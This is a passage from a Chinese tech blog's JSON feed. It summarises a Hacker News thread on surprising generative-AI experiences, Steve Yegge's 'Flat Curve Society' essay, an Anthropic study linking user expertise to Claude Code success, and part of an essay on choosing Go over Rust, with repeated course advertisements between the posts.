简洁的标准库），保持对代码品味（Taste）和优雅（Clarity）的极致追求，是防止你被 AI 淘汰的唯一壁垒。 把 AI 当作“小黄鸭（Rubber Duck）”：AI 拥有近乎无限的耐心。让它扮演一个挑战你、审判你设计决策的苏格拉底式导师，而不是一个替你写作业的枪手。 大模型确实正在以不可思议的速度重构这个世界的软件版图。但正如在“芝诺悖论”中，那只手握着画笔、不断在前方画出新跑道的人类乌托邦一样——决定软件高贵与平庸界限的，依然是人类那颗拥有直觉、严密大局观与系统品味的鲜活头脑。\n资料链接：https://news.ycombinator.com/item?id=48406174\n✍️ 今日开放讨论：\n在看完这些 Hacker News 开发者们的“Oh Shit”时刻后，你脑海中弹出的第一个想法是什么？在你的日常开发中，是否也曾经历过某种被 AI 震撼、或是被 AI 狠狠欺骗的瞬间？\n欢迎在评论区留下你最真实的极客思考，我们一起聊聊大模型时代的生存法门！\n还在为“复制粘贴喂AI”而烦恼？我的新专栏 《AI原生开发工作流实战》 将带你：\n告别低效，重塑开发范式 驾驭AI Agent(Claude Code)，实现工作流自动化 从“AI使用者”进化为规范驱动开发的“工作流指挥家” 扫描下方二维码，开启你的AI原生开发之旅。\n原「Gopher部落」已重装升级为「Go \u0026amp; AI 精进营」知识星球，快来加入星球，开启你的技术跃迁之旅吧！\n我们致力于打造一个高品质的 Go 语言深度学习 与 AI 应用探索 平台。在这里，你将获得：\n体系化 Go 核心进阶内容: 深入「Go原理课」、「Go进阶课」、「Go避坑课」等独家深度专栏，夯实你的 Go 内功。 前沿 Go+AI 实战赋能: 紧跟时代步伐，学习「Go+AI应用实战」、「Agent开发实战课」、「Agentic软件工程课」、「Claude Code开发工作流实战课」、「OpenClaw实战分享」等，掌握 AI 时代新技能。 星主 Tony Bai 亲自答疑: 遇到难题？星主第一时间为你深度解析，扫清学习障碍。 高活跃 Gopher 交流圈: 与众多优秀 Gopher 分享心得、讨论技术，碰撞思想火花。 独家资源与内容首发: 技术文章、课程更新、精选资源，第一时间触达。 衷心希望「Go \u0026amp; AI 精进营」能成为你学习、进步、交流的港湾。让我们在此相聚，享受技术精进的快乐！欢迎你的加入！\n商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。如有需求，请扫描下方公众号二维码，与我私信联系。\n","permalink":"https://tonybai.com/2026/06/21/what-was-your-oh-shit-moment-with-genai/","summary":"\u003cp\u003e\u003cimg loading=\"lazy\" src=\"/images/wp-content/uploads/2026/what-was-your-oh-shit-moment-with-genai-1.png\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/2026/06/21/what-was-your-oh-shit-moment-with-genai\"\u003e本文永久链接\u003c/a\u003e – \u003ca href=\"https://tonybai.com/2026/06/21/what-was-your-oh-shit-moment-with-genai\"\u003ehttps://tonybai.com/2026/06/21/what-was-your-oh-shit-moment-with-genai\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e大家好，我是Tony Bai。\u003c/p\u003e\n\u003cp\u003e在社区 Hacker News 上，最近一个名为 \u003cstrong\u003e“Ask HN: 大家在生成式 AI 中经历过哪些‘卧槽（Oh Shit）’时刻？”\u003c/strong\u003e 的\u003ca href=\"https://news.ycombinator.com/item?id=48406174\"\u003e帖子\u003c/a\u003e瞬间引爆了全网。\u003c/p\u003e\n\u003cp\u003e\u003cimg loading=\"lazy\" src=\"/images/wp-content/uploads/2026/what-was-your-oh-shit-moment-with-genai-2.png\"\u003e\u003c/p\u003e\n\u003cp\u003e这个帖子在短短两天内斩获了近千百条回复和数百个赞。与那些由大厂公关通稿包装出来的“AI 改变世界”的宏大叙事不同，这里的每一个回复，都是由全世界最挑剔、最硬核的一线系统工程师、内核黑客和安全专家用亲身经历写下的血泪史。\u003c/p\u003e","title":"上千程序员自爆 AI 的“卧槽时刻”：是推开神界大门，还是跌入黑盒地狱？"},{"content":"\n本文永久链接 – https://tonybai.com/2026/06/20/steve-yegge-the-flat-curve-society\n大家好，我是Tony Bai。\n在过去的两年里，全球的软件创业者和开发者都生活在一种**“技术栈焦虑”**中。\n你今天刚熬夜写完一个产品，或者刚拿到一笔融资准备大干一步，脑子里却时刻悬着一把达摩克利斯之剑：“如果两周后新版Claude或GPT模型发布，我的所有工作是不是会瞬间灰飞烟灭？” 这种脚下土地每时每刻都在剧烈晃动、随时面临降维打击的感觉，让整个行业陷入了长期的精神衰弱。\n然而，就在近日，硅谷传奇程序员、写了 40 年代码的行业老炮 Steve Yegge（曾任职于亚马逊、谷歌、Grab，Sourcegraph等大厂）发表了一篇极具颠覆性的万字长文：《The Flat Curve Society（平坦曲线俱乐部）》。\n在这篇文章中，Steve 抛出了一个让所有人深思的断言：大模型的指数级增长正在迅速放缓，我们已经撞上了物理与安全的双重墙壁，正式进入了“平坦曲线时代”。\n但这绝不是坏消息。相反，Steve 认为，这是三年来系统级开发者和创业者迎来的最好消息——我们终于摆脱了动荡不定的流沙，重新踏上了坚固的土地。\n为什么大模型开始“见顶”？悄然降临的双重物理视界 为什么大模型的进化曲线会在今年开始迅速变平？Steve 提出了一个极其硬核的**“双重视界模型（Double Horizons）”**：\n1. 需求视界（The Demand Horizon） 对于你日常能接触到的 90% 的普通任务，市面上现有的中轻量模型（如 Claude Sonnet等）已经把体验触到了天花板。你甚至无法区分两个模型的优劣，因为你的问题还不够难，没有撑开模型的“需求视界”。\n但当你真正拿出一个地狱难度的复杂工程（比如 Steve 自己写的游戏 React 客户端代码重构）去测最顶尖的模型时，它们依然会频繁犯错。\n2. 辨识视界（The Discernment Horizon – 终极物理屏障） 这是导致模型无法无限强大的最致命原因。\n这个视界不是由“你提的最难问题”决定的，而是由**“人类能验证的最难答案”**决定的。\n当模型的智力超越人类极限时，“超人智能（Superhuman）”就等同于“不可验证（Unverifiable）”。\n如果一个模型写出了一套长达数万行、极其晦涩但宣称完美的芯片调度算法，而全地球没有任何一个人类科学家有能力去验证这段代码的正确性，你敢把它直接部署到生产环境吗？你不敢。 这种无法被监督、随时可能带偏人类的超级模型，在安全专家眼里等同于**“核武器”**。 因此，出于安全和政治博弈（类似于管制浓缩铀），各大实验室和政府一定会对顶尖模型进行严密的物理封锁。这就决定了，我们在市面上能够公开、自由、低成本调用的模型能力，将长期止步于当前这个平台期。\n行业大洗牌：SaaS 强力回归，无脑 Vibe Coding 破产 当模型能力进入平台期，之前很多被吹上天的“人类幻觉”正在迅速破灭：\n“周末一键用 AI 重写一切”的时代结束了：当模型不再发生跨代级的智力飞跃，试图用 AI 智能体去重写复杂的企业遗留单体代码（Monoliths），其维护成本和崩溃风险将变得不可接受。 SaaS 强势回归（SaaS is Back, Baby）：之前人们大呼“SaaS 已死，以后人人都可以用 AI 自建工具”。但现在，企业发现自建工具的词元（Token）成本和维护成本是一个无底洞。购买拥有可预测成本、高确定性的成熟 SaaS 产品，重新成为了大厂高管最理智的决定。 奈飞（Netflix）的实践：10 小时打造三大“AI 素养”梯队 既然普通人可以接触到的模型能力在短期内不会再发生核弹级的跃迁，那么下一个阶段的胜负手在哪里？\nSteve 指出，答案在于 “AI 素养（AI Literacy）”——即你的团队到底有多懂如何高效、廉价地使用 AI。\n他分享了来自 Netflix（奈飞） 的一项让人大开眼界的内部培训实验，奈飞通过对员工日常 Token（词元）消耗量和使用习惯的监控，将员工的“AI 素养”精确地划分为了三大核心梯队：\n第一梯队：初级活跃用户（Beginners / Users）\n特征：刚脱离“AI 文盲”状态。开始在日常工作中高频使用单点 Prompt。 数据指标：开始产生日常 Token 消耗，但依然需要人类在旁边紧密盯着，无法放手让 AI 独立执行多步任务。 第二梯队：基线 AI 素养（Baseline AI Literacy）\n特征：能够熟练进行多智能体编排与异步授权。 数据指标：每日稳定消耗 1200 万 – 1500 万 Tokens。在这一阶段，员工已经可以完全信任并放手让 2 到 4 个 Agent 在后台独立、异步工作，自己只负责在终点进行审计。 第三梯队：超级用户（Power Users / Advanced）\n特征：能够将 AI 完美融入复杂的系统级开发、Bug 自动搜索与 CI/CD 流水线。 数据指标：每日稳定消耗 5000 万以上 Tokens。 奈飞的实验证明，将一个完全不懂 AI 的“技术文盲”，培训到能够熟练调配多 Agent 协作的第二梯队，只需要 5 个小时的集中训练！再花 5 个小时，就能让他们晋升为超级用户。96% 的人在完成培训六周后，依然保持着极高的 AI 协作惯性。\n未来的竞争，不再是“谁的模型更聪明”，而是“谁的团队 AI 素养更高”。\n下半场的新游戏：从“狂烧 Token”走向“Token 洁癖（词元成本管理）” 在平坦曲线时代，无限烧 Token 的粗放型开发正在快速破产。Steve 提出了一个高阶开发者必须掌握的核心概念——“Token 洁癖 / 词元使用规范（Token Hygiene）”。\n“AI 素养”在初级阶段，表现为你会消耗多少 Token；但到了高级阶段，表现为你在客观审视系统时，对多余的上下文开销有着极高的“洁癖”，能主动节约多少 Token 浪费。\n1. 愚蠢的“自动搬砖” 很多新手会写一句话，让 Agent 去执行 git status 或者去硬盘里找一个文件名。\n这是一个极度愚蠢的习惯。因为为了让 Agent 执行这个简单操作，它需要把你的整个目录结构作为上下文（Context）上传到云端，这在瞬间就会浪费掉 10 万个 Token！\n“如果你用手打一行命令只要 1 秒，就请用手打！别让 Agent 去干，每次手动操作能帮你省下几美分的 API 账单。”\n2. 智能路由（Smart Routing） 高级的 AI 组织必须学会建立“路由机制”：把 90% 最愚蠢、最简单的问题路由给最便宜、甚至免费的模型；只有当任务触及复杂推理时，再将其升级（Escalate）到昂贵的顶级模型。\n“在最高境界，AI 素养将变成一门关于‘如何用最少的 Token 开销，压榨出最大化业务成果’的系统级控制艺术。”\n小结：平坦曲线是留给务实建设者的礼物 Steve Yegge 用一幅极其温情的插图——“Campground Craft（营地建设）” 结束了他的万字长文。\n大模型的进化曲线变平，不仅不是坏事，反而是一次历史性的解放：\n在过去的两三年里，创业者和开发者如同生活在随时会爆发海啸的沙滩上。你永远在焦虑自己辛辛苦苦构建的产品，会在下一次 GPT or Claude 的发布会中沦为废墟。\n而平坦曲线的到来，意味着游戏规则终于稳定了。Sonnet 级别和 Opus 级别的模型能力，将在未来的好几年里保持行业主流地位。\n这意味着，我们终于可以脚踏实地地坐下来，开始在坚固的土地上安营扎寨。 我们可以去设计更精妙的多 Agent 路由网络、去优化我们的数据库、去打磨我们的用户体验，去写出真正能运行十年的、伟大的、有工匠精神的系统。\n属于浮躁投机者的时代已经结束，属于务实系统工程师的黄金时代，才刚刚开始。现在，擦干因焦虑而流下的汗水，让我们开始在平坦的草原上，修建那座真正属于未来的软件大厦。\n资料链接：https://steve-yegge.medium.com/the-flat-curve-society-36c8b01eb33b\n今日开放讨论：\n你同意 Steve Yegge 关于“大模型能力进入平原期，SaaS 正在回归”的判断吗？在你的团队中，是否也存在“无节制消耗 Token 却产出大量平庸垃圾代码（Slop）”的现象？你打算如何开始在团队内部推行“Token 成本管理”？\n欢迎在评论区留下你最深刻的系统级思考，我们一起在平坦曲线时代寻找前行的光芒！\n还在为写 Agent 框架频频死循环、上下文爆炸而束手无策？我的新专栏 《从0 开始构建 Agent Harness》 将带你：\n抛弃臃肿框架，回归“驾驭工程 (Harness Engineering)”的第一性原理 用 Go 语言手写 ReAct 循环、并发拦截与上下文压缩引擎等，复刻极简OpenClaw 构建坚不可摧的 Safety Middleware 与飞书人工审批防线 在底层实现 Token 成本审计、链路追踪与自动化跑分评估 从“调包侠”进化为掌控大模型边界的“AI 操作系统架构师” 扫描下方二维码，开启从 0 开始构建Agent Harness 的实战之旅。\n原「Gopher部落」已重装升级为「Go \u0026amp; AI 精进营」知识星球，快来加入星球，开启你的技术跃迁之旅吧！\n我们致力于打造一个高品质的 Go 语言深度学习 与 AI 应用探索 平台。在这里，你将获得：\n体系化 Go 核心进阶内容: 深入「Go原理课」、「Go进阶课」、「Go避坑课」等独家深度专栏，夯实你的 Go 内功。 前沿 Go+AI 实战赋能: 紧跟时代步伐，学习「Go+AI应用实战」、「Agent开发实战课」、「Agentic软件工程课」、「Claude Code开发工作流实战课」、「OpenClaw实战分享」等，掌握 AI 时代新技能。 星主 Tony Bai 亲自答疑: 遇到难题？星主第一时间为你深度解析，扫清学习障碍。 高活跃 Gopher 交流圈: 与众多优秀 Gopher 分享心得、讨论技术，碰撞思想火花。 独家资源与内容首发: 技术文章、课程更新、精选资源，第一时间触达。 衷心希望「Go \u0026amp; AI 精进营」能成为你学习、进步、交流的港湾。让我们在此相聚，享受技术精进的快乐！欢迎你的加入！\n商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。如有需求，请扫描下方公众号二维码，与我私信联系。\n","permalink":"https://tonybai.com/2026/06/20/steve-yegge-the-flat-curve-society/","summary":"\u003cp\u003e\u003cimg loading=\"lazy\" src=\"/images/wp-content/uploads/2026/steve-yegge-the-flat-curve-society-1.png\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/2026/06/20/steve-yegge-the-flat-curve-society\"\u003e本文永久链接\u003c/a\u003e – \u003ca href=\"https://tonybai.com/2026/06/20/steve-yegge-the-flat-curve-society\"\u003ehttps://tonybai.com/2026/06/20/steve-yegge-the-flat-curve-society\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e大家好，我是Tony Bai。\u003c/p\u003e\n\u003cp\u003e在过去的两年里，全球的软件创业者和开发者都生活在一种**“技术栈焦虑”**中。\u003c/p\u003e\n\u003cp\u003e你今天刚熬夜写完一个产品，或者刚拿到一笔融资准备大干一步，脑子里却时刻悬着一把达摩克利斯之剑：\u003cstrong\u003e“如果两周后新版Claude或GPT模型发布，我的所有工作是不是会瞬间灰飞烟灭？”\u003c/strong\u003e 这种脚下土地每时每刻都在剧烈晃动、随时面临降维打击的感觉，让整个行业陷入了长期的精神衰弱。\u003c/p\u003e","title":"大模型正在见顶！传奇架构师：欢迎来到“平坦曲线时代”"},{"content":"\n本文永久链接 – https://tonybai.com/2026/06/19/agentic-coding-and-persistent-returns-to-expertise\n大家好，我是Tony Bai。\n在生成式 AI 狂飙的今天，程序员群体正陷入一种前所未有的分化和焦虑中：\n初级开发觉得前路茫茫，因为大模型写出的业务代码比他们更快、更整洁； 资深架构师虽然暂时安全，但也时刻担心随着大模型逻辑推理能力的指数级进化，自己的行业经验终有一天会被无情商品化。 “AI 究竟是专家经验的放大器，还是专家经验的掘墓人？”\n为了彻底用科学数据回答这个终极命题，大模型领域无可争议的“编码之王” Claude 的母公司 Anthropic，于近日发布了一份具有里程碑意义的实证研究报告：《Agentic coding and persistent returns to expertise》。\n这份白皮书的含金量极高。研究人员在确保隐私安全的前提下，深度追踪并分析了从 2025 年 10 月到 2026 年 4 月期间，全球开发者使用 Claude Code 的 40 万次真实交互会话（Sessions）。\n报告揭示出的事实极其震撼、甚至有些反直觉：大模型并没有让专家的经验贬值，反而让“专家经验”在 AI 时代迎来了前所未有的暴利和溢价；与此同时，那些只会写语法糖、没有领域常识（Domain Knowledge）的普通程序员，正在被无情地边缘化。\n下面，我们就用白皮书里的硬核数据，层层剥开这场残酷的 AI 权力重构。\n权力的边界：人类负责“定目标”（70%），AI 负责“搬砖”（80%） 在这份大样本分析中，Anthropic 首先定义了人机协作在智能体编码（Agentic Coding）时代的新型分工模型（The division of labor）。\n研究人员通过机器学习分类器，对 40 万次会话中的每一个动作进行了属性归类。他们惊奇地发现，人类与 Claude Code 在开发过程中展现出了极度清晰的边界：\n人类主导“规划决策（What to do）”：在决定系统要构建什么功能、采用什么业务逻辑、遵循什么系统规范时，人类做出了 70% 的决策。 AI 主导“执行决策（How to do it）”：在决定调用什么命令、修改哪些文件、使用什么具体语法、以及运行什么测试脚本时，Claude 承担了 80% 的工作。 图：人机分工实证：人类牢牢掌控着 70% 的架构和业务规划决策，而 AI 则在底层包揽了 80% 的具体代码执行\n这证实了：在真实的工业级开发中，大模型并不是在“取代”程序员，而是成为了一个不知疲倦、效率极高的“执行义肢”。人类出脑子（Framer），AI 出体力（Executor），这种分工正在成为现代软件开发的黄金标准。\n专家溢价：为什么 AI 越强，资深专家的身价越贵？ 这是整篇白皮书中最核心、也最震撼的发现：AI 的出现，极大地拉大了“专家”与“新手”之间的产出差距。\n为了精确筛选和分析这 40 万次人机对话，Anthropic 在底层构建了一个极其严密的**“五级经验分类器”**。他们通过机器学习，根据人类输入提示词的专业度，对用户的工程段位进行了无情分类。\n这套分类器不仅是学术工具，更是我们每个普通开发者自测“AI 时代身价”的终极试金石：\nL1 – 萌新（Novice）：\n标准：完全不使用任何领域专业术语，对 AI 的报错毫无感知，只能进行通用的验证。 典型 Prompt：“你能帮我分析这些数据并画个图吗？” / “帮我看看趋势，求求你了。” L2 – 初学者（Beginner）：\n标准：开始使用少量的专业术语，但验证请求漫无目的，只有在 AI 犯了极其低级、显而易见的错误时才会进行反驳。 典型 Prompt：“BigQuery 是什么？” / “你能跑个简单的 Demo 带我过一遍吗？” / “等下，你用的是我队友给的那个精确规范（Specification）吗？” L3 – 中级（Intermediate）：\n标准：能够用一定的领域专业性来框定问题，但无法深入探讨底层设计权衡。能进行一些非通用的检查，并开始主动捕捉 AI 的错误。 典型 Prompt：“帮我看看这个分支能安全合并（Merge）吗？” / “如果我们在前端页面的每个部分建立单独的文件夹，会不会优化各个 Section 的缓存（Caching）？” L4 – 高级（Advanced）：\n标准：展现出强烈的领域知识，能够在不依赖 AI 提示的情况下，提前预判 AI 在该领域极易犯的特定错误。验证针对性极强，至少能揪出一次 AI 犯的底层逻辑错误。 典型 Prompt：“在进入第三阶段之前，测试这一步的最佳方法是什么？” / “正则（Regex）在这里太脆了，有没有更稳固（More bullet proof）的方法，在解析 JSON 时基于 record 字段来进行键值提取？” L5 – 专家（Expert）：\n标准：使用极度复杂的行业黑话，能精准预测复杂的架构设计权衡。验证精准打击系统最薄弱的关节。能够无情纠正 AI 的错误，而 AI 几乎无法纠正专家的逻辑。 典型 Prompt：“上个版本 PR 的修复根本不够，我们需要更深地排查用户反馈的这个 Bug。yeah，我们也许需要把‘强制刷新（hard refresh）’根据‘托管/非托管插槽（slots）’做进一步的拆分。 sync 必须可靠地知道锁（lock）的状态，还记得由于 valueDb 变脏（stale）而导致不断尝试设 Pin 的死循环 Bug 吗？” 在这套分类下，专家与新手在使用同一个 Claude Code 时，展现出了两个维度的“遥遥领先”：\n1. 成功率的云泥之别（91% vs 15%） 根据白皮书的统计：在面临高难度的软件工程任务时，新手的完全成功率只有可怜的 15%（在最宽松的指标下也只有 39%）；而 L5 级别的领域专家，其成功率直接飙升到了 91%！\n图：随着用户专业度的提升（L1 到 L5），AI 辅助下的项目成功率从 15% 呈指数级飙升至 91%\n2. 吞吐量红利（AI 愿意为专家干更多的活） 数据表明，当新手发出一条指令时，Claude Code 平均只会执行 4.9 次行动，吐出 607 个单词。\n而当 L5 级别的专家发出一条指令时，Claude 会如同遇到知音一样，在后台自动触发一系列复杂的链式反应，平均执行 11.7 次高级行动，狂喷 3,200 个单词的高质量代码！\n为什么会这样？\n因为 AI 智能体在面对模糊、没有领域常识的提问时，会迅速陷入“误解 -\u0026gt; 生成垃圾代码 -\u0026gt; 被编译器报错 -\u0026gt; 再次生成垃圾 -\u0026gt; 用户放弃（Abandon）”的死循环。\n而面对专家时，由于专家给出了极其精确的**“业务边界限制（Guardrails）”和“情境品味（Situated Taste）”**，AI 能够顺着正确的方向无限hill-climbing（爬坡），发挥出大模型最极致的推理深度。\n同时，当 AI 犯错时，新手无能为力，只能眼睁睁看着它胡说八道；而专家能够瞬间识别出 AI 的漏洞，给出一句精准的“纠偏提示”，牵着 AI 的手跨过泥潭。\n边界消除：会写代码的审计师，正在干掉不会审计的程序员 如果说“专家在软件开发里更赚钱”还在我们的意料之中，那么白皮书指出的第三个趋势，则无情地打破了传统程序员的行业垄断：非软件行业的专家，正在用 AI “降维打击”传统的初级码农。\n请仔细看白皮书给出的各行各业在使用 Claude 编写代码时的成功率：\n软件与数学专家：成功率 94%。 管理人员（Management）：成功率 95%！ 法律人员（Legal）：成功率 97%！ 商业与金融专家（Business \u0026amp; Finance）：成功率 90%！ 我们从图中可以看出惊人的行业跨界：凭借深刻的领域经验（Domain Expertise），金融、法律和管理人员在 AI 辅助下的编码成功率，几乎与专业软件工程师持平，甚至有所超越。\n这绝对是一个核弹级的发现：决定代码质量的，不再是你的“编程语法熟练度”，而是你对“业务逻辑和领域常识的理解深度”。\n一个完全不会写 Python 语法的资深会计师，通过 Claude Code，能够极其精确地描述出月末账目对账（Month-end reconciliation）的业务规则、税法限制以及漏单退回逻辑。Claude 能够根据他提供的完美业务逻辑，在几秒钟内生成一段毫无瑕疵的 Python 财务自动化工具。 而一个懂 Python 语法、却对财务审计一窍不通的初级程序员，他写出来的代码，在业务层面上大概率是充满漏洞的垃圾（Slop）。 “业务逻辑与情境品味（Situated Taste），正在成为 AI 时代最坚固的技术壁垒。而单纯的语法编写，已经彻底沦为了廉价的机器工。”\n价值重构：如何成为不被“垃圾代码”淹没的 10%？ Anthropic 在报告的后半部分，进行了一项极其严谨的经济学评估：他们通过对比自由职业市场（Freelance job postings）的实际标价，来评估 40 万次 Claude 会话产生的经济价值。\n数据显示，在短短 7 个月内，由 Claude Code 完成的任务的平均经济价值，暴涨了约 25%！\n这说明，随着模型对工具调用、测试和自动化部署的演进，AI 正在以前所未有的速度吞噬那些“低价值的、纯编写的工作”。\n这也给所有的软件工程师指明了一条唯一的出路：\n从“如何写（How）”迅速向“写什么（What）”转型：如果你的日常工作只是把产品经理的 PRD 翻译成代码语法，你和 AI 相比没有任何竞争优势。你必须去深入理解业务，理解数据库底层设计，去成为那个“定标和画框的人”。 建立“纠偏与审计”能力**：大模型会源源不断地生成看似完美的代码。未来的高级工程师，其核心工作将是“代码审计师（Code Auditor）”。你必须能在几秒钟内，看出 AI 生成的千行代码中，那个隐藏在锁竞争或并发状态下的微小 Bug。 深耕一个具体的垂直领域：不要做“通用的、只会写增删改查（CRUD）的程序员”。去深入医疗、金融、安全、芯片物理、或者高性能网络。 小结 大模型并没有让专家的经验贬值，反而像一把高压水枪，正在迅速冲刷掉代码工程中的淤泥，让真正拥有“业务品味”和“领域常识”的金子，闪耀出前所未有的夺目光芒。\nAI 降低了普通人写代码的门槛，但也让“垃圾代码”遍地都是。\n在这个平庸泛滥的时代，决定你身价的，不再是你敲击键盘的速度，而是你脑海中沉淀的那些、无法被文本化的行业直觉与工程审美。\n在这场人机共生的伟大战役中，我们既要学会借用神明的光芒，也要时刻警惕不要沦为神殿下盲目的祭品。\n资料链接：https://www.anthropic.com/research/claude-code-expertise\n还在为“复制粘贴喂AI”而烦恼？我的新专栏 《AI原生开发工作流实战》 将带你：\n告别低效，重塑开发范式 驾驭AI Agent(Claude Code)，实现工作流自动化 从“AI使用者”进化为规范驱动开发的“工作流指挥家” 扫描下方二维码，开启你的AI原生开发之旅。\n原「Gopher部落」已重装升级为「Go \u0026amp; AI 精进营」知识星球，快来加入星球，开启你的技术跃迁之旅吧！\n我们致力于打造一个高品质的 Go 语言深度学习 与 AI 应用探索 平台。在这里，你将获得：\n体系化 Go 核心进阶内容: 深入「Go原理课」、「Go进阶课」、「Go避坑课」等独家深度专栏，夯实你的 Go 内功。 前沿 Go+AI 实战赋能: 紧跟时代步伐，学习「Go+AI应用实战」、「Agent开发实战课」、「Agentic软件工程课」、「Claude Code开发工作流实战课」、「OpenClaw实战分享」等，掌握 AI 时代新技能。 星主 Tony Bai 亲自答疑: 遇到难题？星主第一时间为你深度解析，扫清学习障碍。 高活跃 Gopher 交流圈: 与众多优秀 Gopher 分享心得、讨论技术，碰撞思想火花。 独家资源与内容首发: 技术文章、课程更新、精选资源，第一时间触达。 衷心希望「Go \u0026amp; AI 精进营」能成为你学习、进步、交流的港湾。让我们在此相聚，享受技术精进的快乐！欢迎你的加入！\n商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。如有需求，请扫描下方公众号二维码，与我私信联系。\n","permalink":"https://tonybai.com/2026/06/19/agentic-coding-and-persistent-returns-to-expertise/","summary":"\u003cp\u003e\u003cimg loading=\"lazy\" src=\"/images/wp-content/uploads/2026/agentic-coding-and-persistent-returns-to-expertise-1.png\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/2026/06/19/agentic-coding-and-persistent-returns-to-expertise\"\u003e本文永久链接\u003c/a\u003e – \u003ca href=\"https://tonybai.com/2026/06/19/agentic-coding-and-persistent-returns-to-expertise\"\u003ehttps://tonybai.com/2026/06/19/agentic-coding-and-persistent-returns-to-expertise\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e大家好，我是Tony Bai。\u003c/p\u003e\n\u003cp\u003e在生成式 AI 狂飙的今天，程序员群体正陷入一种前所未有的分化和焦虑中：\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e初级开发觉得前路茫茫，因为大模型写出的业务代码比他们更快、更整洁；\u003c/li\u003e\n\u003cli\u003e资深架构师虽然暂时安全，但也时刻担心随着大模型逻辑推理能力的指数级进化，自己的行业经验终有一天会被无情商品化。\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e“AI 究竟是专家经验的放大器，还是专家经验的掘墓人？”\u003c/p\u003e","title":"Anthropic 40万大样本揭秘：AI 时代为什么“专家”身价暴涨？"},{"content":"\n本文永久链接 – https://tonybai.com/2026/06/18/why-choose-go-over-rust-today-in-ai-age\n大家好，我是Tony Bai。\n随着 Cursor、Claude Code 和 Copilot 等 AI 编程智能体的爆发，整个技术圈的开发门槛被前所未有地铲平了。\n在过去，Rust 最大的劝退门槛是它那极其陡峭的路径——生命周期、借用检查器（Borrow Checker）、复杂的泛型特征（Traits）。但如今，AI 可以轻而易举地帮你写出能够通过编译的复杂 Rust 代码。\n这就引发了一个最近在 Reddit 的 r/golang 讨论区的终极发问：“既然 AI 已经帮我们消灭了 Rust 的学习和编写门槛，今天我们为什么还要选择 Go？（Why choose Go over Rust today?）”\n海外大厂的资深架构师和 SRE 们纷纷下场，用生产环境中的血泪教训，给出了一个极具警示意义的工程结论：AI 极大地降低了“写”代码的门槛，却无形中成倍抬高了“读”与“维护”代码的成本。而在充斥着 AI 生成代码的时代，Go 语言那近乎固执的“简单与无聊”，反而成为了它最坚不可摧的壁垒。\n以下是为什么在 AI 时代，Go 依然是很多企业技术选型终极首选的深层逻辑。\n致命的“温水煮青蛙”：谁来在凌晨三点排查 AI 写的代码？ 在帖子中，一位获得了极高赞同的资深开发者贴出了一句直击灵魂的忠告：\n“如果你打算让 AI 写完所有代码且你从不检查，那么 Rust 是完美的（因为编译器会守住安全底线）……前提是，你是那个在凌晨 3 点值班、随时准备被报警电话叫醒去排查问题的人。”\n这句话道出了软件工程中最朴素的真理：编写代码是一时的，而阅读、评审（Code Review）和在线排查（On-Call）才是永恒的。\n大模型在生成代码时，为了迎合编译器的规则，往往会采用极其复杂、精妙但难以阅读的“高级语法特性”。\nAI 写的 Rust 代码：可能会充斥着各种复杂的泛型嵌套、宏（Macros）、高度抽象的 Trait 绑定以及微妙的生命周期标注。它确实能通过编译，但当它在生产环境中遇到边界条件发生崩溃时，由于代码不是你写的，面对这堆“天书般的高级 Rust 代码”，你根本无法在短时间内看清它的真实意图。 AI 写的 Go 代码：由于 Go 语言刻意限制了特性的复杂性，奉行“一种问题只有一种解法”的极简主义。AI 写出来的 Go 代码，看起来和你自己写的、或者你同事写的没有任何区别。任何一个普通的后端开发，都能在 30 秒内梳理清楚数据流向。 在 AI 大规模入侵开发流水线的时代，“易读性”和“低认知负载（Cognitive Load）”成了比“易写性”更重要的资产。Go 的无聊和易读，在这个时候反向成了它最大的护城河。\n运行时的隐形深渊：GMP 模型 vs 协作式异步的“雷区” 在涉及到高并发的系统设计时，很多开发者以为 Rust 拥有完美的类型安全（线程安全的 Mutex 检查等），就能在并发上完胜。\n但 Reddit 上的多位分布式系统工程师指出了一个极易被忽视的“运行时隐形深渊”：非抢占式并发（Cooperative Async）的惩罚。\n1. Go 的“无脑并发”（GMP 抢占式调度） Go 语言底层的 GMP 调度器支持抢占式调度（Preemptive Scheduling）。\n这意味着，即便 AI 给你写了一段“烂代码”（例如在一个 CPU 密集的循环里没有主动让出 CPU），Go 运行时也会在底层强行打断它，把执行权分给其他协程。你的服务可能会变慢，但绝对不会卡死。\n2. Rust 的“协作式深渊”（Tokio 异步事件循环） Rust 的主流异步运行时（如 Tokio）是**协作式（Cooperative）**的。\n这意味着，如果 AI 帮你在一个 async 函数内部偷偷夹带了一句同步阻塞操作（比如调用了一个同步的第三库去读文件或发起网络请求），它会直接霸占并锁死整个事件循环（Event Loop）！\n这种低级错误，Rust 那引以为傲的编译器完全无法察觉。在线上高并发场景下，这会导致整个微服务在瞬间陷入死锁状态。\n在 AI 辅助开发时代，由于大模型无法完美感知具体的系统上下文，AI 极易在 Rust 的 async 块中引入阻塞调用。这让 Rust 系统的线上隐患比 Go 尖锐得多。\n标准库生态 vs 依赖地狱（Crate Hell） 在构建微服务和后端 API 时，Go 的另一个绝对优势是它的 “Batteries included（自带电池）” 哲学。\nGo 的富标准库：Go 拥有世界上最强大、最稳定的标准库。你不需要引入任何第三方包，仅靠标准库就能写出高性能的 HTTP 服务器、完美的 JSON 解析器以及加密服务。这意味着你的项目极其干净，几乎没有供应链安全风险，并且可以无视版本的向前兼容。 Rust 的极简库与 Crate 地狱：为了追求极致的小体积，Rust 的标准库非常“贫瘠”。写一个普通的 Web 服务，你不得不引入 tokio、serde、reqwest 等一整棵庞大的第三方树（类似于 Node.js 的 node_modules 依赖灾难）。 当项目依赖树膨胀到上百个节点时，不仅编译时间（Compile Times）会变得极其冗长（Rust 本就因为编译慢而臭名昭著），AI 也会因为各个第三方库之间复杂的版本冲突，频繁生成无法通过编译的代码，让开发体验陷入泥潭。\n黄金法则：90% 的性能，10% 的心智负担 